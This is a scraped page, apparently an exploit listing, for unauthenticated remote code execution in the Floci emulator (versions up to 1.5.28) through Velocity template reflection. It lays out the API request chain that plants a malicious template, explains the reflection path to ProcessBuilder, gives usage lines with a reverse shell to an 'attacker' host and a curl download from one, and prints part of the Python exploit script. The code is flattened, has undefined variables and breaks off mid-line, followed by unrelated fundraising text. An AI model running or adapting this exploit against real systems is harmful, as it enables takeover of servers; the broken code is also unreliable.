Unauthenticated RCE via VTL reflection in Floci <= 1.5.28

Vulnerability Overview Title: Unauthenticated RCE via VTL $util reflection Description: Vulnerability Type: Unauthenticated Remote Code Execution (RCE) Affected Component: Affected Versions: API ID GET /restapis/{api_id}/resources -> root ID POST /restapis/{api_id}/resources/{root_id} -> sub-resource ID PUT /restapis/{api_id}/resources/{res_id}/methods/GET -> method (auth NONE) PUT /methods/GET/integration -> MOCK integration PUT /methods/GET/integration/responses/200 -> malicious VTL response POST /restapis/{api_id}/deployments -> deployment ID POST /restapis/{api_id}/stages -> stage prod GET /execute-api/{api_id}/prod/{proxy_path} -> TRIGGER (pops the shell) The trigger call evaluates a VTL template that runs an arbitrary OS command as the Floci JVM user and writes the result to a file. The script verifies the side-effect file contains the attacker-supplied sentinel string before declaring success. Why this works (one-paragraph summary) Floci starts a stock Apache Velocity VelocityEngine for VTL evaluation but never overrides RuntimeConstants.UBERSPECT_CLASSNAME, never installs a SecureUberspector, never blacklists reflective classes, and explicitly registers UberspectImpl.class for native-image reflection. The $util helper's parseJson() method returns a raw Object, which makes getClass() reachable from inside Velocity: from there the attacker can walk the JVM via reflection and execute commands via ProcessBuilder. Tested against: local Floci 1.5.28 binary built from the upstream tag. the flow is identical against docker pull flocli/flocli:1.5.28 with port 4566 published. Usage python3 floci_poc.py defaults: localhost:4566, runs python3 floci_poc.py --base http://attacker-target:4566 (id = hostname) python3 floci_poc.py --cmd 'curl http://attacker/example.sh python3 floci_poc.py --cmd 'bash -i >& /dev/tcp/attacker/443 0>&1' python3 floci_poc.py --cmd 'powershell ...' Windows JVM python3 floci_poc.py --proxy MARKER --out /tmp/floci_pwned --cmd sentinel:file Constraints --CMD must be a regular file path the Floci JVM user can >> append to. The verify step does cat $out on the host. If --out is a FIFO, a device node, or a symlink-to-device, cat may block or behave oddly. The script does NOT prevalidate this: pass a normal PATH here. Floci/pwn.out to be safe. Exit codes 0 - RCE confirmed (file appeared + sentinel present) 1 - file never appeared -> RCE did not fire 2 - file appeared but sentinel missing -> ambiguous; check manually 3 - Connection / network error before any HTTP traffic 4 - Floci responded with unexpected status in the attack chain This script is intended for security research against targets you own or are authorized to test. Authorized use only. """ from __future__ import annotations import argparse import json import os import shlex import socket import subprocess import sys import time import traceback import urllib.error import urllib.request -------------------------------------------------------------- defaults -------------------------------------------------------------- DEFAULT_BASE = "http://localhost:4566" DEFAULT_CMD = "[ id = hostname ; date -u ] > /tmp/floci_rce_pwned" DEFAULT_MARKER = "#MARKER_BY_FLOCLI_1528" DEFAULT_OUT = "/tmp/floci_rce_pwned" DEFAULT_PROXY_PATH = "rce" -------------------------------------------------------------- HTTP helpers -------------------------------------------------------------- def _request(method: str, url: str, body=None, headers=None) -> tuple[int, str]: data = None headers = {"Content-Type": "application/json"} if headers: hdrs.update(headers) if body is not None: data = json.dumps(body).encode() try: req = urllib.request.Request(url, data=data, method=method, headers=hdrs) with urllib.request.urlopen(req, timeout=20) as resp: return resp.status, resp.read().decode() except urllib.error.HTTPError as e: return e.code, e.read().decode() if e.fp else "" def _step(label: str, method: str, base: str, path: str, body=None) -> tuple[int, dict]: url = f"{base}{path}" status, text = _request(method, url, body=body) print(f"#{label} HTTP {status} {method} {path}") try: parsed = json.loads(text) if text else {} except json.JSONDecodeError: parsed = {"non-json-response": text[:200]} return status, parsed -------------------------------------------------------------- main chain -------------------------------------------------------------- def exploit(base: str, cmd: str, marker: str, out_file: str, proxy_path: str) -> int: 0. Pre-cleanup: ensure the marker-bearing run writes to a fresh file. try: os.remove(out_file) except FileNotFoundError: pass except OSError as e: Other OS errors (read-only, foreign-owner, ...) -> continue anyway; the sentinel check at the end still guards against stale success. print(f"#{label} warn: could not unlink {out_file}: {e}; continuing") print(f"#{label} Floci endpoint: {base}") print(f"#{label} marker sentinel: {marker}") print(f"#{label} out file: {out_file}") print(f"#{label} injected sh -c: {cmd}") print() started = time.

Goal Reached Thanks to every supporter — we hit 100%!

Unauthenticated RCE via VTL reflection in Floci <= 1.5.28

More from this source